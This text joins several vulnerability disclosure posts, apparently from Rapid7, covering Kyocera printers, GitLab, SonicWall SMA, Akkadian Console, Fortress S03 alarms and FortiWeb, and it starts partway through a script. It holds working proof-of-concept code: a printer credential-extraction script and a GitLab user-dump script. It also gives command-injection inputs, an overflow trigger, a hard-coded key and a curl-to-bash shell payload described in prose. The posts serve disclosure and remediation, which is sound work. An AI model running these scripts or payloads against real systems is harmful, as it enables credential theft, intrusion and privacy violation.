body = """<?xml version="1.0" encoding="utf-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:SOAP-ENC="http://www.w3.org/2003/05/soap-encoding" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:xop="http://www.w3.org/2004/08/xop/include" xmlns:ns1="http://www.kyoceramita.com/ws/km-wsdl/setting/address_book"><SOAP-ENV:Header><wsa:Action SOAP-ENV:mustUnderstand="true">http://www.kyoceramita.com/ws/km-wsdl/setting/address_book/create_personal_address_enumeration</wsa:Action></SOAP-ENV:Header><SOAP-ENV:Body><ns1:create_personal_address_enumerationRequest><ns1:number>25</ns1:number></ns1:create_personal_address_enumerationRequest></SOAP-ENV:Body></SOAP-ENV:Envelope>"""
response = requests.post(url,data=body,headers=headers, verify=False)
strResponse = response.content.decode('utf-8')
#print(strResponse)
parsed = xmltodict.parse(strResponse)
# The SOAP request returns XML with an object ID as an integer stored in kmaddrbook:enumeration. We need this object ID to request the data from the printer.
getNumber = parsed['SOAP-ENV:Envelope']['SOAP-ENV:Body']['kmaddrbook:create_personal_address_enumerationResponse']['kmaddrbook:enumeration']
body = """<?xml version="1.0" encoding="utf-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:SOAP-ENC="http://www.w3.org/2003/05/soap-encoding" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:xop="http://www.w3.org/2004/08/xop/include" xmlns:ns1="http://www.kyoceramita.com/ws/km-wsdl/setting/address_book"><SOAP-ENV:Header><wsa:Action SOAP-ENV:mustUnderstand="true">http://www.kyoceramita.com/ws/km-wsdl/setting/address_book/get_personal_address_list</wsa:Action></SOAP-ENV:Header><SOAP-ENV:Body><ns1:get_personal_address_listRequest><ns1:enumeration>{}</ns1:enumeration></ns1:get_personal_address_listRequest></SOAP-ENV:Body></SOAP-ENV:Envelope>""".format(getNumber)
print("Obtained address book object: {}. Waiting for book to populate".format(getNumber))
time.sleep(5)
print("Submitting request to retrieve the address book object...")
response = requests.post(url,data=body,headers=headers, verify=False)
strResponse = response.content.decode('utf-8')
#rint(strResponse)
parsed = xmltodict.parse(strResponse)
print(parsed['SOAP-ENV:Envelope']['SOAP-ENV:Body'])
print("\n\nObtained address book. Review the above response for credentials in objects such as 'login_password', 'login_name'")
Impact
The most likely attack scenario involving this vulnerability would be an attacker, who is already inside the LAN perimeter, leveraging their ability to communicate directly with affected printers to learn the usernames and passwords to stored SMB and FTP file servers. In the case of SMB credentials, those might then be leveraged to establish a presence in the target networks’ Windows domain.
Depending on how those external services are administered, the attacker may also be able to collect prior (and future) print/scan jobs originating from the targeted printer, but the primary value of this vulnerability is lateral movement within the network. Note that printer credentials are not themselves at risk (except in the case of reused passwords, of course), but credentials to services the printer is normally expected to store scanned documents are exposed via this vulnerability.
Remediation
First and foremost, MFPs should under no circumstance be able to be reached directly across the internet. While this is true for most LAN-centric technologies, this is especially true for printers and scanners, which are popular targets for opportunistic attackers. These devices tend to only support weak authentication mechanisms, even in the best of cases, and are rarely kept up to date with firmware updates to address security issues. So, as long as only trusted users can reach these networked printers, the opportunity for attack is limited only to insiders and attackers who have otherwise managed to already establish a local network presence.
At the time of this disclosure, there is no patch or updated firmware available for affected devices. The version information displayed on a vulnerable ECOSYS M2640idw device is shown as below, and we believe the proper version number for this software is the middle version listed, “2S0_1000.005.0012S5_2000.002.505.”
In light of the lack of patching, Kyocera customers are advised to disable the SOAP interface running on port 9091/TCP of affected MFPs. Details on precisely how to disable this service can be found in the documentation relevant to the specific MFP model. If SOAP access is required over the network for normal operation, users should ensure that address books do not contain sensitive, unchanging passwords.
One possible configuration that would make this vulnerability moot would be to only allow public, anonymous FTP or SMB write access (but not read access) for scanned document storage, and another process to move those documents securely across the network to their final destination. The exposure of email addresses would remain, but this is of considerably less value to most attackers.
Disclosure timeline
Nov 2021: Issue identified by Aaron Herndon of Rapid7
Tue Nov 16, 2021: Contacted Kyocera’s primary support and other-support
On February 25, 2022, GitLab published a fix for CVE-2021-4191, which is an instance of CWE-359, “Exposure of Private Personal Information to an Unauthorized Actor.” The now-patched vulnerability affected GitLab versions since 13.0. The vulnerability is the result of a missing authentication check when executing certain GitLab GraphQL API queries. A remote, unauthenticated attacker can use this vulnerability to collect registered GitLab usernames, names, and email addresses. Our initial CVSSv3 base score assessment for this issue is 5.3.
A Metasploit module is available, and we expect this to be exploited in the wild for information gathering and username list generation. The impact of the exploit alone is likely to be negligible, but could be impactful in conjunction with brute force password guessing and credential stuffing attacks.
The GitLab GraphQL API information leak allows a remote, unauthenticated attacker to recover usernames, names, and sometimes email addresses. On the face of it, that sounds very low-stakes. However, account discovery is a MITRE ATT&CK technique for a reason. Collecting a list of valid user accounts is the first step to a variety of brute-force attacks, such as password guessing, password spraying, and credential stuffing.
These kinds of attacks may seem unsophisticated, but they work. The technique has been utilized by very successful malware/groups including Emotet, Fancy Bear, and Nobelium.
The open-source offensive security community has also invested a lot of time creating brute-forcing tools, which again reinforces that brute-forcing is a viable attack in the wild. Open-source brute-forcing tools such as ncrack, Patator, CrackMapExec, and THC-Hydra
implement attacks that use lists of usernames provided by the attacker. The GitLab GraphQL API information outputs valid usernames. Thus, this vulnerability and the existing tools complement each other.
While attackers can always use one of the popularwordlists that contain known usernames, a brute-force attack increases its chances of success by leveraging known valid usernames for the attacked organization.
The information leak also potentially allows an attacker to create a new username wordlist based on GitLab installations — not just from gitlab.com but also from the other 50,000 GitLab instances that can be reached from the internet.
Such a wordlist wouldn’t be unprecedented. In 2021, Clubhouse exposed an API that allowed unauthenticated users to enumerate the Clubhouse user base. Attackers used the API and combined the data into a single database they then posted to a hacking forum for anyone to use.
Note, this isn’t the first time GitLab has leaked similar details from an API. Back in 2015, MWR Infosecurity published a blog and an unauthenticated, remote Metasploit module that enumerated user accounts using the `/api/v3/internal/discover?key_id=` API.
Exploitation
After consulting with the GitLab engineering team, we have confirmed the issue was first introduced in GitLab 13.0.
The vulnerable endpoint is `/api/graphql`. The GitLab documentation states that a personal access token is used for authentication, shown below.
However, not all requests to the endpoint require authentication. A good place to test this from is GitLab’s `/-/graphql-explorer` endpoint. In the image below, a GraphQL request for the ID, name, and username of all users can be found on the left, and the response is on the right.
More than just the ID, name, and username can be requested. Below, you’ll find a more complete list of the information an unauthenticated, remote attacker can exfiltrate.
The following Python script will print a CSV containing the discovered IDs, usernames, names, email addresses, and if the user is a bot.
###
# Dumps GitLab's user base to CSV form.
#
# Requires GraphqlClient: pip install python-graphql-client
###
from python_graphql_client import GraphqlClient
import json
import sys
import argparse
top_parser = argparse.ArgumentParser(description='A tool for dumping a GitLab userbase via GraphQL')
top_parser.add_argument('--rurl', action="store", dest="rurl", required=True, help="The remote URL to send the requests to")
args = top_parser.parse_args()
client = GraphqlClient(endpoint=args.rurl)
# first starts at 1
first = 1
query_header = """query
{
users"""
query_paging_info = ""
query_payload = """
{
pageInfo {
hasNextPage
hasPreviousPage
endCursor
startCursor
}
nodes {
id
bot
username
email
publicEmail
name
webUrl
webPath
avatarUrl
state
location
status {
emoji
availability
message
messageHtml
}
userPermissions {
createSnippet
}
groupCount
groups {
nodes{
id
name
fullName
fullPath
}
}
starredProjects {
nodes{
name
path
fullPath
}
}
projectMemberships {
nodes {
id
createdAt
}
}
namespace{
id
name
path
fullName
fullPath
lfsEnabled
visibility
requestAccessEnabled
sharedRunnersSetting
}
callouts {
nodes{
featureName
dismissedAt
}
}
}
}
}
"""
more_data = True
print("id,username,name,publicEmail,bot")
while more_data == True:
query = query_header + query_paging_info + query_payload
json_data = client.execute(query=query)
if "errors" in json_data:
print("Received error in response. Exiting. ")
print(json.dumps(json_data))
sys.exit(0)
for user in json_data["data"]["users"]["nodes"]:
print(user["id"] + "," + user["username"] + "," + user["name"] + "," + user["publicEmail"] + "," + str(user["bot"]))
if json_data["data"]["users"]["pageInfo"]["hasNextPage"] == True:
query_paging_info = "(after:\"" + json_data["data"]["users"]["pageInfo"]["startCursor"] + "\")"
else:
more_data = False
Beyond building username lists for credential attacks, threat actors can use the information to start discovering affected users’ other social media accounts and contacts. This can be accomplished by querying individual GitLab profile pages or simply cross-referencing usernames, names, and email addresses with other sources. This type of information-gathering allows attackers to launch more sophisticated phishing attacks.
Mitigation
Unless you intend to offer GitLab as a general public resource accessible by anyone, ensure your GitLab instance is not reachable from the internet. Of course, we also urge users to patch their GitLab server instances to the latest versions (14.8.2, 14.7.4, and 14.6.5). Disabling public profiles is also a good general mitigation against unauthenticated information gathering.
To disable public profiles go to the Admin Area -> General -> Visibility and access controls -> Restricted visibility levels. Then check the box next to “Public”. This should prevent anyone who isn’t logged in from seeing user profiles.
Disclosure timeline
November 2021: Initial discovery and confirmation by Jake Baines of Rapid7
Thu, Nov 18, 2021: Initial contact to GitLabs
Tue, Nov 23, 2021: Issue #1408214 opened with GitLabs with full technical details provided
Mon, Jan 17, 2022: Vendor indicated a fix is forthcoming, after a number of status updates through November and December
Tue, Feb 8, 2022: Fix prepared, tested, and ready for release in the next security update
Over the course of routine security research, Rapid7 researcher Jake Baines discovered and reported five vulnerabilities involving the SonicWall Secure Mobile Access (SMA) 100 series of devices, which includes SMA 200, 210, 400, 410, and 500v. The most serious of these issues can lead to unauthenticated remote code execution (RCE) on affected devices. We reported these issues to SonicWall, who published software updates and have released fixes to customers and channel partners on December 7, 2021. Rapid7 urges users of the SonicWall SMA 100 series to apply these updates as soon as possible. The table below summarizes the issues found.
The rest of this blog post goes into more detail about the issues. Vulnerability checks are available to InsightVM and Nexpose customers for all five of these vulnerabilities.
Product description
The SonicWall SMA 100 series is a popular edge network access control system, which is implemented as either a standalone hardware device, a virtual machine, or a hosted cloud instance. More about the SMA 100 series of products can be found here.
Testing was performed on the SMA 500v firmware versions 9.0.0.11-31sv and 10.2.1.1-19sv. CVE-2021-20038 and CVE-2021-20040 affect only devices running version 10.2.x, while the remaining issues affect both firmware versions. Note that the vendor has released updates and at their KB article, SNWLID-2021-0026, to address all these issues.
CVE-2021-20038: Stack-based buffer overflow in httpd
Affected version: 10.2.1.2-24sv
The web server on tcp/443 (/usr/src/EasyAccess/bin/httpd) is a slightly modified version of the Apache httpd server. One of the notable modifications is in the mod_cgi module (/lib/mod_cgi.so). Specifically, there appears to be a custom version of the cgi_build_command function that appends all the environment variables onto a single stack-based buffer using strcat.
There is no bounds-checking on this environment string buildup, so if a malicious attacker were to generate an overly long QUERY_STRING, they can overflow the stack-based buffer. The buffer itself is declared at the top of the cgi_handler function as a 202 byte character array (although, it’s followed by a lot of other stack variables, so the depth to cause the overflow is a fair amount more).
Regardless, the following curl command demonstrates the crash when sent by a remote and unauthenticated attacker:
curl --insecure "https://10.0.0.7/?AAAA[1794 more A's here for a total of 1798 A's]"
The above will trigger the following crash and backtrace:
Technically, the above crash is due to an invalid read, but you can see the stack has been successfully overwritten above. A functional exploit should be able to return to an attacker’s desired address. The system does have address space layout randomization (ASLR) enabled, but it has three things working against this protection:
httpd’s base address is not randomized.
When httpd crashes it is auto restarted by the server, giving the attacker opportunity to guess library base addresses, if needed.
SMA 100 series are 32 bit systems and ASLR entropy is low enough that guessing library addresses a feasible approach to exploitation.
Because of these factors, a reliable exploit for this issue is plausible. It’s important to note that httpd is running as the “nobody” user, so attackers don’t get to go straight to root access, but it’s one step away, as the exploit payload can su to root using the password “password.”
CVE-2021-20038 exploitation impact
This stack-based buffer overflow has a suggested CVSS score of 9.8 out of 10 — by exploiting this issue, an attack can get complete control of the device or virtual machine that’s running the SMA 100 series appliance. This can allow attackers to install malware to intercept authentication material from authorized users, or reach back into the networks protected by these devices for further attack. Edge-based network control devices are especially attractive targets for attackers, so we expect continued interest in these kinds of devices by researchers and criminal attackers alike.
CVE-2021-20039: Command injection in cgi-bin
Affected versions: 9.0.0.11-31sv, 10.2.0.8-37sv, and 10.2.1.2-24sv
The web interface uses a handful of functions to scan user-provided strings for shell metacharacters in order to prevent command injection vulnerabilities. There are three functions that implement this functionality (all of which are defined in libSys.so): isSafeCommandArg, safeSystemCmdArg, and safeSystemCmdArg2.
These functions all scan for the normal characters (&|$><;’ and so on), but they do not scan for the new line character (‘\n’). This is problematic because, when used in a string passed to system, it will act as a terminator. There are a variety of vectors an attacker could use to bypass these checks and hit system, and one (but certainly not the only) example is /cgi-bin/viewcert, which we’ll describe in more detail here.
The web interface allows authenticated individuals to upload, view, or delete SSL certificates. When deleting a certificate, the user provides the name of the directory that the certificate is in. These names are auto-generated by the system in the format of newcert-1, newcert-2, newcert-3, etc. A normal request would define something like CERT=newcert-1. The CERT variable makes it to a system call as part of an rm -rf %s command. Therefore, an attacker can execute arbitrary commands by using the ‘\n’ logic in CERT. For example, the following would execute ping to 10.0.0.9:
CERT=nj\n ping 10.0.0.9 \n
To see that in a real request, we have to first log in:
The system will set a swap cookie. That’s your login token, which can be copied into the following request. The following requests executes ping via viewcert:
It’s important to note that viewcert elevates privileges so that when the attacker hits system, they have root privileges.
CVE-2021-20039 exploitation impact
Note that this vulnerability is post-authentication and leverages the administrator account (only administrators can manipulate SSL certificates). An attacker would already need to know (or guess) a working username and password in order to elevate access from administrator to root-level privileges. In the ideal case, this is a non-trivial barrier to entry for attackers. That said, the SMA 100 series does ship with a default password for the administrator account, and most organizations allow administrators to choose their own password, and we also know that the number of users for any device that stick with the default or easily guessed passwords is non-zero.
CVE-2021-20040: Upload path traversal in sonicfiles
Affected version: 10.2.0.8-37sv and 10.2.1.2-34sv
The SMA 100 series allows users to interact with remote SMB shares through the HTTPS server. This functionality resides in the endpoint https://address/fileshare/sonicfiles/sonicfiles. Most of the functionality simply flows through the SMA series device and doesn’t actually leave anything on the device itself, with the notable exception of RacNumber=43. That is supposed to write a file to the /tmp directory, but it is vulnerable to path traversal attacks.
To be a bit more specific, RacNumber=43 takes two parameters:
swcctn: This value gets combined with /tmp/ + the current date to make a filename.
A JSON payload. The payload is de-jsonified and written to the swcctn file.
There is no validation applied to swcctn, so an attacker can provide arbitrary code. The example below writes the file "hello.html.time" to the web server’s root directory:
This results in:
CVE-2021-20040 exploitation impact
There are some real limitations to exploiting CVE-2021-20040:
File writing is done with nobody privileges. That limits where an attacker can write significantly, although being able to write to the web server’s root feels like a win for the attacker.
The attacker can’t overwrite any existing file due to the random digits attached to the filename.
Given these limitations, an attack scenario will likely involve tricking users into believing their custom-created content is a legitimate function of the SMA 100, for example, a password "reset" function that takes a password.
CVE-2021-20041: CPU exhaustion in sonicfiles
Affected versions: 9.0.0.11-31sv, 10.2.0.8-37sv, and 10.2.1.2-24sv
An unauthenticated, remote adversary can consume all of the device’s CPU due to crafted HTTP requests sent to hxxps://address/fileshare/sonicfiles/sonicfiles, resulting in an infinite loop in the fileexplorer process. The infinite loop is due to the way fileexplorer parses command line options. When parsing an option that takes multiple parameters, fileexplorer incorrectly handles parameters that lack spaces or use the = symbol with the parameter. For example, the following requests results in the infinite loop:
Parsing the "-elol" portion triggers the infinite loop. Each new request will spin up a new fileexplorer process. Technically speaking, on the SMA 500v, only two such requests will result in ~100% CPU usage indefinitely. Output from top:
CVE-2021-20041 exploitation impact
A number of additional requests are required to truly deny availability, as this is not a one-shot denial of service request. It should also be noted that this is a parameter injection issue — specifically, the -e parameter is injected, and if the injection in this form didn’t result in an infinite loop, the attack would have been able to exfiltrate arbitrary files (which of course would be more useful to an attacker).
CVE-2021-20042: Confused deputy in sonicfiles
Affected versions: 9.0.0.11-31sv, 10.2.0.8-37sv, and 10.2.1.2-24sv
An unauthenticated, remote attack can use SMA 100 series devices as an "unintended proxy or intermediary," also known as a Confused Deputy attack. In short, that means an outside attacker can use the SMA 100 series device to access systems reachable via the device’s internal facing network interfaces. This is due to the fact that the sonicfiles component does not appear to validate the requestor’s authentication cookie until after the fileexplorer request is made on the attacker’s behalf. Furthermore, the security check validating that the endpoint fileexplorer is accessing is allowed is commented out from RacNumber 25 (aka COPY_FROM). Note the "_is_url_allow" logic below:
This results in the following:
An attacker can bypass the SMA 100 series device’s firewall with SMB-based requests.
An attacker can make arbitrary read/write SMB requests to a third party the SMA 100 series device can reach. File creation, file deletion, and file renaming are all possible.
An attacker can make TCP connection requests to arbitrary IP:port on a third party, allowing the remote attacker to map out available IP/ports on the protected network.
Just as a purely theoretical example, the following requests sends a SYN to 8.8.8.8:80:
There are two significant limitations to this attack:
The attacker does have to honor the third-party SMB server’s authentication. So to read/write, they’ll need credentials (or anonymous/guest access).
An unauthenticated attacker will not see responses, so the attack will be blind. Determining the result of an attack/scan will rely on timing and server error codes.
Given these constraints, an attacker does not command complete control of resources on the protected side of the network with this issue and is likely only able to map responsive services from the protected network (with the notable exception of being able to write to, but not read from, unprotected SMB shares).
Vendor statement
SonicWall routinely collaborates with third-party researchers, penetration testers, and forensic analysis firms to ensure that its products meet or exceed security best practices. One of these valued allies, Rapid7, recently identified a range of vulnerabilities to the SMA 100 series VPN product line, which SonicWall quickly verified. SonicWall designed, tested, and published patches to correct the issues and communicated these mitigations to customers and partners. At the time of publishing, there are no known exploitations of these vulnerabilities in the wild.
Remediation
As these devices are designed to be exposed to the internet, the only effective remediation for these issues is to apply the vendor-supplied updates.
Disclosure timeline
October, 2021: Issues discovered by Jake Baines of Rapid7
Mon, Oct 18, 2021: Initial disclosure to SonicWall via [email protected]
Mon, Oct 18, 2021: Acknowledgement from the vendor
Thu, Oct 28, 2021: Validation completed and status update provided by the vendor
Thu, Nov 9, 2021: Test build with updates provided by the vendor
Over the course of routine security research, Rapid7 researchers Jonathan Peterson, Cale Black, William Vu, and Adam Cammack discovered that the Akkadian Console (often referred to as “ACO”) version 4.7, a call manager solution, is affected by two vulnerabilities. The first, CVE-2021-35468, allows root system command execution with a single authenticated POST request, and CVE-2021-35467 allows for the decryption of data encrypted by the application, which results in the arbitrary creation of sessions and the uncovering of any other sensitive data stored within the application. Combined, an unauthenticated attacker could gain remote, root privileges to a vulnerable instance of Akkadian Console Server.
CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)
Fixed in Version 4.9
Product Description
Akkadian Console (ACO) is a call management system allowing users to handle incoming calls with a centralized management web portal. More information is available at the vendor site for ACO.
Credit
These issues were discovered by Jonathan Peterson (@deadjakk), Cale Black, William Vu, and Adam Cammack, all of Rapid7, and it is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.
Exploitation
The following were observed and tested on the Linux build of the Akkadian Console Server, version 4.7.0 (build 1f7ad4b) (date of creation: Feb 2 2021 per naming convention).
CVE-2021-35467: Akkadian Console Server Hard-Coded Encryption Key
Using DnSpy to decompile the bytecode of ‘acoserver.dll’ on the Akkadian Console virtual appliance, Rapid7 researchers identified that the Akkadian Console was using a static encryption key, “0c8584b9-020b-4db4-9247-22dd329d53d7”, for encryption and decryption of sensitive data. Specifically, researchers observed at least the following data encrypted using this hardcoded string:
User sessions (the most critical of the set, as outlined below)
FTP Passwords
LDAP credentials
SMTP credentials
Miscellaneous service credentials
The string constant that is used to encrypt/decrypt this data is hard-coded into the ‘primary’ C# library. So anyone that knows the string, or can learn the string by interrogating a shipping version of ‘acoserver.dll’ of the server, is able to decrypt and recover these values.
In addition to being able to recover the saved credentials of various services, Rapid7 researchers were able to write encrypted user sessions for the Akkadian Console management portal with arbitrary data, granting access to administrative functionality of the application.
The hardcoded key as shown in the decompiled code of the ACO server
The TokenService of acoserver.dll uses a hardcoded string to encrypt and decrypt user session information, as well as other data in the application that uses the ‘Encrypt’ method.
As shown in the function below, the application makes use of an ECB cipher, as well as PKCS7 padding to decrypt (and encrypt) this sensitive data.
Decrypt function present in acoserver.dll viewed with DnSpy
The image below shows an encrypted and decrypted version of an ‘Authorization’ header displaying possible variables available for manipulation. Using a short python script, one is able to create a session token with arbitrary values and then use it to connect to the Akkadian web console as an authenticated user.
Successfully decrypted a session generated by the application
Using the decrypted values of a session token, a ‘custom’ token can be created, substituting whatever values we want with a recent timestamp to successfully authenticate to the web portal.
The figure below shows this technique being used to issue a request to a restricted web endpoint that responds with the encrypted passwords of the user account. Since the same password is used to encrypt most things in the application (sessions, saved passwords for FTP, backups, LDAP, etc.), we can decrypt the encrypted passwords sent back in the response by certain portions of the application:
Using the same private key to decrypt the encrypted admin password returned by the application
This vulnerability can be used with the next vulnerability, CVE-2021-35468, to achieve remote command execution.
CVE-2021-35468: Akkadian Console Server OS Command Injection
The Akkadian Console application provides SSL certificate generation. See the corresponding web form in the screenshot below:
The web functionality associated with the vulnerable endpoint
The way the application generates these certificates is by issuing a system command using ‘/bin/bash’ to run an unsanitized ‘openssl’ command constructed from the parameters of the user’s request.
The screenshot below shows this portion of the code as it exists within the decompiled ‘acoserver.dll’.
Vulnerable method as seen from DnSpy
Side Note: In newer versions (likely 4.7+), this “Authorization” header is actually validated. In older versions of the Akkadian Console, this API endpoint does not appear to actually enforce authorization and instead only checks for the presence of the “Authorization” header. Therefore in these older, affected versions, this endpoint and the related vulnerability could be accessed directly without the crafting of the header using CVE-2021-35467. Exact affected versions have not been researched.
The below curl command will cause the Akkadian Console server to itself run its own curl command (in the Organization field) and pipe the results to bash.
Once this is received by ACO, the named curl payload is executed, and a shell is spawned, but any operating system command can be executed.
Impact
CVE-2021-35467, by itself, can be exploited to allow an unauthenticated user administrative access to the application. Given that this device supports LDAP-related functionality, an attacker could then leverage this access to pivot to other assets in the organization via Active Directory via stored LDAP accounts.
CVE-2021-35468 could allow any authenticated user to execute operating system level commands with root privileges.
By combining CVE-2021-35467 and CVE-2021-35468, an unauthenticated user can first establish themselves as an authenticated user by crafting an arbitrary session, then execute commands on ACO’s host operating system as root. From there, the attacker can install any malicious software of their choice on the affected device.
Remediation
Users of Akkadian Console should update to 4.9, which has addressed these issues. In the absence of an upgrade, users of Akkadian Console version 4.7 or older should only expose the web interface to trusted networks — notably, not the internet.
Disclosure Timeline
April, 2021: Discovery by Jonathan Peterson and friends at Rapid7
Wed, Jun 16, 2021: Initial disclosure to the vendor
Wed, Jun 23, 2021: Updated details disclosed to the vendor
Tue, Jul 13, 2021: Vendor indicated that version 4.9 fixed the issues
Rapid7 researcher Arvind Vishwakarma discovered multiple vulnerabilities in the Fortress S03 WiFi Home Security System. These vulnerabilities could result in unauthorized access to control or modify system behavior, and access to unencrypted information in storage or in transit. CVE-2021-39276 describes an instance of CWE-287; specifically, it describes an insecure cloud API deployment which allows unauthenticated users to trivially learn a secret that can then be used to alter the system’s functionality remotely. It has an initial CVSS score of 5.3 (medium). CVE-2021-39277 describes an instance of CWE-294, a vulnerability where anyone within Radio Frequency (RF) signal range could capture and replay RF signals to alter systems behavior, and has an initial CVSS score of 5.7.
Product Description
The Fortress S03 WiFi Home Security System is a do it yourself (DIY) consumer grade home security system which leverages WiFi and RF communication to monitor doors, windows, and motion detection to spot possible intruders. Fortress can also electronically monitor the system for you, for a monthly fee. More information about the product can be found at the vendor’s website.
What follows are details regarding the two disclosed vulnerabilities. Generally speaking, these issues are trivially easy to exploit by motivated attackers who already have some knowledge of the target.
CVE-2021-39276: Unauthenticated API Access
If a malicious actor knows a user’s email address, they can use it to query the cloud-based API to return an International Mobile Equipment Identity (IMEI) number, which appears to also serve as the device’s serial number. The following post request structure is used to make this unauthenticated query and return the IMEI:
With a device IMEI number and the user’s email address, it is then possible for a malicious actor to make changes to the system, including disarming its alarm. To disarm the system, the following unauthenticated POST can be sent to the API:
CVE-2021-39277: Vulnerable to RF Signal Replay Attack
The system under test was discovered to be vulnerable to an RF replay attack. When a radio-controlled device has not properly implemented encryption or rotating key protections, this can allow an attacker to capture command-and-control signals over the air and then replay those radio signals in order to perform a function on an associated device.
As a test example, the RF signals used to communicate between the Key Fobs, Door/Window Contact Sensors, and the Fortress Console were identified in the 433 MHz band. Using a software defined radio (SDR) device, the researcher was able to capture normal operations of the device “arm” and “disarm” commands. Then, replaying the captured RF signal communication command would arm and disarm the system without further user interaction.
Impact
For CVE-2021-39276, an attacker can use a Fortress S03 user’s email address to easily disarm the installed home alarm without the user’s knowledge. While this is not usually much of a concern for random, opportunistic home invaders, this is particularly concerning when the attacker already knows the victim well, such as an ex-spouse or other estranged relationship partner.
CVE-2021-39277 presents similar problems but requires less prior knowledge of the victim, as the attacker can simply stake out the property and wait for the victim to use the RF-controlled devices within radio range. The attacker can then replay the “disarm” command later, without the victim’s knowledge.
Mitigations
In the absence of a patch or update, to work around the IMEI number exposure described in CVE-2021-39276, users could configure their alarm systems with a unique, one-time email address. Many email systems allow for “plus tagging” an email address. For example, a user could register “[email protected]” and treat that plus-tagged email address as a stand-in for a password.
For CVE-2021-39277, there seems to be very little a user can do to mitigate the effects of the RF replay issues, absent a firmware update to enforce cryptographic controls on RF signals. Users concerned about this exposure should avoid using key fobs and other RF devices linked to their home security systems.
An OS command injection vulnerability in FortiWeb’s management interface (version 6.3.11 and prior) can allow a remote, authenticated attacker to execute arbitrary commands on the system, via the SAML server configuration page. This is an instance of CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’) and has a CVSSv3 base score of 8.7. This vulnerability appears to be related to CVE-2021-22123, which was addressed in FG-IR-20-120.
Product Description
Fortinet FortiWeb is a web application firewall (WAF), designed to catch both known and unknown exploits targeting the protected web applications before they have a chance to execute. More about FortiWeb can be found at the vendor’s website.
An attacker, who is first authenticated to the management interface of the FortiWeb device, can smuggle commands using backticks in the “Name” field of the SAML Server configuration page. These commands are then executed as the root user of the underlying operating system. The affected code is noted below:
int move_metafile(char *path,char *name)
{
int iVar1;
char buf [512];
int nret;
snprintf(buf,0x200,"%s/%s","/data/etc/saml/shibboleth/service_providers",name);
iVar1 = access(buf,0);
if (iVar1 != 0) {
snprintf(buf,0x200,"mkdir %s/%s","/data/etc/saml/shibboleth/service_providers",name);
iVar1 = system(buf);
if (iVar1 != 0) {
return iVar1;
}
}
snprintf(buf,0x200,"cp %s %s/%s/%s.%s",path,"/data/etc/saml/shibboleth/service_providers",name,
"Metadata",&DAT_00212758);
iVar1 = system(buf);
return iVar1;
}
The HTTP POST request and response below demonstrates an example exploit of this vulnerability:
Finally, the results of the ‘touch’ command can be seen on the local command line of the FortiWeb device:
/# ls -l /tmp/vulnerable
-rw-r--r-- 1 root 0 0 Jun 10 11:59 /tmp/vulnerable
/#
Impact
An attacker can leverage this vulnerability to take complete control of the affected device, with the highest possible privileges. They might install a persistent shell, crypto mining software, or other malicious software. In the unlikely event the management interface is exposed to the internet, they could use the compromised platform to reach into the affected network beyond the DMZ. Note, though, Rapid7 researchers were only able to identify less than three hundred total of these devices that appear to be exposing their management interfaces to the general internet.
Note that while authentication is a prerequisite for this exploit, this vulnerability could be combined with another authentication bypass issue, such as CVE-2020-29015.
Remediation
In the absence of a patch, users are advised to disable the FortiWeb device’s management interface from untrusted networks, which would include the internet. Generally speaking, management interfaces for devices like FortiWeb should not be exposed directly to the internet anyway — instead, they should be reachable only via trusted, internal networks, or over a secure VPN connection.
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![CVE-2021-3546[78]: Akkadian Console Server Vulnerabilities (FIXED)](https://blog.rapid7.com/content/images/2021/09/image5.jpg)
![CVE-2021-3546[78]: Akkadian Console Server Vulnerabilities (FIXED)](https://blog.rapid7.com/content/images/2021/09/image3-1.png)
![CVE-2021-3546[78]: Akkadian Console Server Vulnerabilities (FIXED)](https://blog.rapid7.com/content/images/2021/09/image4-1.png)
![CVE-2021-3546[78]: Akkadian Console Server Vulnerabilities (FIXED)](https://blog.rapid7.com/content/images/2021/09/image2-1.png)
![CVE-2021-3546[78]: Akkadian Console Server Vulnerabilities (FIXED)](https://blog.rapid7.com/content/images/2021/09/image6.png)
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![CVE-2021-3927[67]: Fortress S03 WiFi Home Security System Vulnerabilities](https://blog.rapid7.com/content/images/2021/08/image1.png)
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